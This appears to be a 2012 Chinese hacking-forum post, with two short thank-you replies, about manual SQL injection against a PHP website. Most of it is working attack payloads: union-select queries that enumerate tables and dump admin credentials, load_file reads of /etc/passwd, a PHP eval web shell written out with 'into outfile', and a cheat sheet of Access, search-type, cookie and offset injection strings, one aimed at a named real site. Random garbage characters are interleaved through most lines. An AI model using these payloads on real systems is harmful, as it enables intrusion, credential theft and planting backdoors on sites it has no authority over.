找回密码
 立即注册
查看: 3510|回复: 2
打印 上一主题 下一主题

手工注入拿下一站

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-23 14:47:22 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我一个朋友维护一个站点,他对安全不是很懂,就像我一样,呵呵 !O(∩_∩)O~
; I* J. U* b( {2 n: @让我看看,既然人家开口了,我也不好拒绝,那就看看吧?
+ \  ?3 W2 i+ z6 y6 U& t; E  ^我个人喜欢先看有没有上传的地方(上传可是好东西,可以直接拿shell'),其次就是看看什么程序,有没有通杀,然后就是后台,最后看看注入。。。。% K. S  B; q* z0 E$ L) |9 R
如果是php程序我会先找注入,呵呵!(这个不用我说你们也知道是什么原因咯,废话了,主题开始。。。), z8 M* p) B8 C& h; k' ?- ]2 M5 }
1.打开地址,发现是php程序,呵呵.既然是php程序,先找找注入吧?看看有没有交互的地方,(所谓交互就是像news.php?id=1,news.asp?id=1这样的,)- |6 k2 }4 Z; P4 Q3 S4 e5 A
这个站很悲剧,随便点开一个链接加一个 ’ 结果悲剧了,爆出:
# H* f/ F6 ]# [* l; g( v$ B# vWarning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in7 W  S* Q2 g% R6 h5 B. Q3 L
/data/home/nus42j1/htdocs/news.php on line 59 ,物理路径出来了,到这一步啊,已经可以证实存在注入& W7 O' O! L4 b4 S
                         , R: t  R& |; ^* X; X
2.不过既然是学习,我们就要一步一步的来,还是老规矩 and 1=1 ,and 1=2 ,返回结果不一样,证明存在注入,# D: y$ B( j. c: I( ~
3.下一步很自然的查询字段数:用order by+二分法,加上order by 8 返回正常,order by 9 不正常。说明字段数为8 ,继续提交 and 1=2 union select 1,2,3,4,5,6,7,8 - -返回一个3   ,一个5 ,说明可以利用字段数才两个,有时候会有很多个哦,要注意) q" U  O+ N6 \
4.继续提交and 1=2 union select 1,2,user(),4,version(),6,7,8-- ,当然还有database(),等等.......返回版本,用户等等系列信息
" g, D; J& o1 ]  Z7 ]6 \5 I8 l5.rp差了一点,不是root权限,不过版本大于5.0,支持虚拟库information_schema。/ _6 w* T7 R8 c8 J
有两种思路:1.使用Load_file函数获取数据库账号密码,通过操作数据库获取webshell,* c0 |( O( Z% P4 L# Z
2.继续爆出数据库里的表名和列名,登陆后台想办法上传获取webshell。: l/ c# K) M+ j+ \
我就用的是第二个思路,
. U5 j0 O5 p0 `& G- J7 H提交and 1=2 union select 1,2,3,4,table_name,6,7,8  from information_schema.tables where table_schema=database() limit 0,1--  
8 t. A9 Y0 L; r  ]% W5 }3 ?6.由于数据库表比较多,这里有48个表,我只是做检测,原理是这样,剩下的只要把 limit 0,1 中的0一次往上加可以爆出所有表名,然后是获取表里的字段,
0 `! _5 ]+ K+ i提交:and 1=2 union select 1,2,3,4, COLUMN_NAME,6,7,8 from information_schema.columns where table_name=0x635F61646D696E5F616373696F6E limit 0,1--" ^& g0 z4 J# q+ ], @: q4 H7 h
注意:这里的0x635F61646D696E5F616373696F6E是kc_admin_action 表的十六进制表示,得到密码账号后就到md5破解网站进行破解。7 P) P' M1 [! S& M
7.到这里呢我该结束了,还要提供给我朋友修补的意见,不过写了这么多了,也不怕在写一点,延伸思路,如果你的密文md5破不出来呢????怎么办????8 h! R- i  B- O1 B: W! }  }& r) y
是不是放弃了,当然不是,看看开了什么端口,如果是centos,lamp环境。我们自然是用load_file了,先验证有读的权限, /etc/passwd.....9 h* R# p! n$ ^
提交:and 1=2 union select 1,2,3,4,load_file(你要找的东东),6,7,8 --, r. \; u! z2 j. m
然后你就找你要的信息,主要是一些敏感文件,还有就是有没有前辈留下的东西,比如某些记录口令保存在本地的东东,我们还可以通过操作数据库备份出来一个shell,
! [+ T% u- m/ N( O* C( N调出mysql命令,执行:Select '<?php eval($_POST[cmd]);?>' into outfile '/xxx/xxx/1.php ,也可以分步执行建立一个临时表插入一句话,然后备份,前者比较简单并且不容易误删什么东西。前提是我们要有写入权限......: F' n6 e- D- z" l8 Q' y( `
下面是一些很普遍注入方式资料:2 H7 T" `" ?# A' _
注意:对于普通的get注入,如果是字符型,前加' 后加 and ''='/ u5 M9 b! I# y/ B
拆半法
* j2 k# e5 }! w######################################9 g, Y$ o8 f( r) B; m
and exists (select * from MSysAccessObjects) 这个是判断是不是ACC数据库,MSysAccessObjects是ACCESS的默认表。
1 s% o: _0 k0 i9 S  a- Vand exists (select * from admin)  a; [) i. `. n
and exists(select id from admin)
4 H1 K9 M& I  e- e2 vand exists(select id from admin where id=1)
/ n2 Q- c. A. |/ Vand exists(select id from admin where id>1) , A' q, K* R# F
然后再测试下id>1 正常则说明不止一个ID 然后再id<50 确定范围
$ b% v4 [' r0 b9 x; A) B4 l% aand exists (select username from admin)
# \9 H8 t2 |. B+ F3 f, E! _and exists (select password from admin)6 j+ }2 t" |5 s2 I# {' R& W  L+ n
and exists (select id from admin where len(username)<10 and id=1)
- v, C0 M8 h9 m) E6 J  V7 Hand exists (select id from admin where len(username)>5 and id=1), C$ m/ P0 t* V! }% t+ F1 u! D
and exists (select id from admin where len(username)=6 and id=1)1 C  N3 L* t' p0 {3 k/ m; y% T6 [
and exists (select id from admin where len(password)<10 and id=1)7 Y" x- P2 h) [/ G5 A2 F
and exists (select id from admin where len(password)>5 and id=1)
" K2 P; f& f! g1 _. |and exists (select id from admin where len(password)=7 and id=1)
% V! |, I+ C  q1 Hand (select top 1 asc(mid(username,1,1)) from admin)=97
; ]# ]5 g3 V: X1 R返回了正常,说明第一username里的第一位内容是ASC码的97,也就是a。
3 f  |! s# Y+ Q: @, m. o1 p猜第二位把username,1,1改成username,2,1就可以了。
9 V5 J$ i. }. I* r猜密码把username改成password就OK了
7 L2 ^6 z, a6 q! v6 V% ^' C################################################### c' b' }7 w+ g2 N' }/ q
搜索型注入
2 P( g! t6 E7 I3 j################################### w1 {$ v2 e' y' }' ]# b
%' and 1=1 and '%'='$ K( q" M5 Q- \4 ^6 V7 y7 r+ Q
%' and exists (select * from admin) and '%'='0 S# k* O' w, }3 ?8 v3 a( ^9 @
%' and exists(select id from admin where id=1) and '%'='8 E, a# h9 Y+ h8 F7 k; k
%' and exists (select id from admin where len(username)<10 and id=1) and '%'='8 f: d0 ]1 \# L) y7 W4 M, C5 I
%' and exists (select id from admin where len(password)=7 and id=1) and '%'='
: s$ \. s! [# v%' and (select top 1 asc(mid(username,1,1)) from admin)=97 and '%'='
9 D  D% V1 q; b6 T3 x* j9 B这里也说明一下,搜索型注入也无他,前加%' 后加 and '%'=') n; c; m* @5 d1 a# _6 x
对于MSSQL数据库,后面可以吧 and '%'='换成--
( D8 E" |4 K( G( J. j+ @" ?还有一点搜索型注入也可以使用union语句。
2 X) q8 W  _' X' D3 d! G# F. X########################################################* T# `. N, f' B* }9 Z
联合查询。; S! l1 t  R6 a9 J* u& E
#####################################
8 w1 `' c6 Y5 n: l- `6 ]& Sorder by 10
  s1 H8 w. X4 G  r/ rand 1=2 union select 1,2,3,4,5,6,7,8,9,102 ?* G+ t0 @9 W
and 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin
' s. R, y4 \4 v& e0 w' r6 band 1=2 union select 1,username,password,4,5,6,7,8,9,10 form admin where id=1
1 T6 n1 P; \" a9 ]. [- S很简单。有一点要说明一下,where id=1 这个是爆ID=1的管理员的时候,where id=1就是爆ID=2的管理用的,一般不加where id=1这个限制语句,应该是爆的最前面的管理员吧!(注意,管理的id是多少可不一定哈,说不定是100呢!)
8 Q! M  o' V* Q5 e8 S; \9 L! _) G###################################
$ J& W( R1 z4 r& M+ ]7 K2 m% Gcookie注入
' c& J' r& ~) n. _& O###############################1 H7 |/ @0 Y4 A- `( U: V
http://www.******.com/shownews.asp?id=1278 M: z3 `, D# {% _4 x- j: q
http://www.******.com/shownews.asp' B1 D! W$ \; {: A9 \9 K2 Y
alert(="id="+escape("127"));
- {+ p* d1 U& U( ?( h. w0 falert(="id="+escape("127 and 1=1"));5 }9 v3 b! w. W' U
alert(="id="+escape("127 order by 10"));
- l9 A3 Z% m9 L- Q* ?! S- Aalert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin"));! }% u' O9 H) N' ]
alert(="id="+escape("127 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from admin where id=1"));+ @5 n0 y0 c- K( v2 V/ f1 i2 B, _
这些东西应该都不用解释了吧,给出语句就行了吧。这里还是用个联合查询,你把它换成拆半也一样,不过不太适合正常人使用,因为曾经有人这样累死过。0 j0 }) d$ X& f' N% k) z- x% E
###################################! C3 h9 B" b( |, ^, R  v9 R
偏移注入
1 {) q6 S, z+ T* Q& q, b  z###########################################################
; ]2 Y% I! i6 g- k6 Hunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 from admin
! r% b6 A& Q: B* @union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,* from admin/ V  V1 A, K. w" ?* |
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from (admin as a inner join admin as b on a.id=b.id)( j% ]2 @4 {* z* O: r: q
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,* from (admin as a inner join admin as b on a.id=b.id)
' ~3 D3 f& v& M7 T3 E1 ~! Aunion select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id). v( r# @5 s; D0 K; o, f
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)  `( c1 c& f) j% `
union select 1,2,3,4,5,6,7,8,a.id,b.id,c.id,d.id,* from (((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) inner join admin as d on
$ d" N6 x  \5 c8 \a.id=d.id)9 c8 k1 h( C! G! I
and 1=2 union select 1,* from (admin as a inner join admin as b on a.id=b.id)2 C. p: v' K% R' {1 G' p6 @
and 1=2 union select 1,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id) 7 p- H( ?: B" ~+ ]7 C# B
  
9 t) ], f: U. ?) K& d5 d# |============================================================================================================
1 h) q" i2 l5 @1.判断版本
1 {1 U& G( I8 m; F4 e, t2 wand ord(mid(version(),1,1))>51& F5 \4 ?: _3 D2 v# N
返回正常,说明大于4.0版本,支持ounion查询0 Q7 Z7 B: K1 X* x
2.猜解字段数目,用order by也可以猜,也可以用union select一个一个的猜解1 y# u0 n& T- G' {
and 2=4 union select 1,2,3,4,5,6,7,8,9--
* f0 c+ ?5 |% A& C" R( K0 r( }$ [3.查看数据库版本及当前用户,
0 k* G% s4 ^  C& P1 ]! Eand 2=4 union select 1,user(),version(),4,5,6,7,8,9--7 w# j, i. ~- l, ?& W. D
数据库版本5.1.35,据说mysql4.1以上版本支持concat函数,我也不知道是真是假,
# J& J8 g' T0 ?1 m$ x4 r& H4.判断有没有写权限
: T7 F# z- ~. m& tand (select count(*) from MySQL.user)>0--
# c- M! t2 R7 z! W. [7 S5.查库,以前用union select 1,2,3,SCHEMA_NAME,5,6,n from information_schema.SCHEMATA limit 0,1
9 N1 p% f4 ?/ D2 C用不了这个命令,就学习土耳其黑客手法,如下
) b2 s3 A- W8 P( v$ v/ S5 t7 Dand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_schema),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns--5 c, G: d1 u1 F% H
6.爆表,爆库
& u+ K0 o  T$ q# kand+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+table_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_schema=0x747763657274--
" B4 _9 D, T# W3 _7.爆列名,爆表" m# J( v: t: l& m6 K8 a% C& u
and+1=0+union+select+concat(0x5B78786F6F5D,GROUP_CONCAT(DISTINCT+column_name),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+information_schema.columns+where+table_name=0x6972737973--
  h: J# v" s7 C( n8.查询字段数,直接用limit N,1去查询,直接N到报错为止。8 T) F' M# S& y' ?
and+1=0+union+select+concat(0x5B78786F6F5D,CONCAT(count(*)),0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys--
5 G! s. @: B0 \2 a- b( R) m9.爆字段内容
" Q9 |9 u$ E6 j4 V+ e8 }* Fand+1=0+union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+0,1--
4 X: T. Z" [' E8 V2 b2 Bhttp://www.cert.org.tw/document/ ... union+select+concat(0x5B78786F6F5D,name,0x5B78786F6F5D),-3,-3,-3,-3,-3,-3,-3,-3+from+twcert.irsys+LIMIT+1,1--
回复

使用道具 举报

沙发
发表于 2012-9-24 21:40:46 | 只看该作者
非常好的归纳。坐下慢慢看~
回复 支持 反对

使用道具 举报

板凳
发表于 2012-9-25 18:53:39 | 只看该作者
谢谢分享,学习思路啊
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表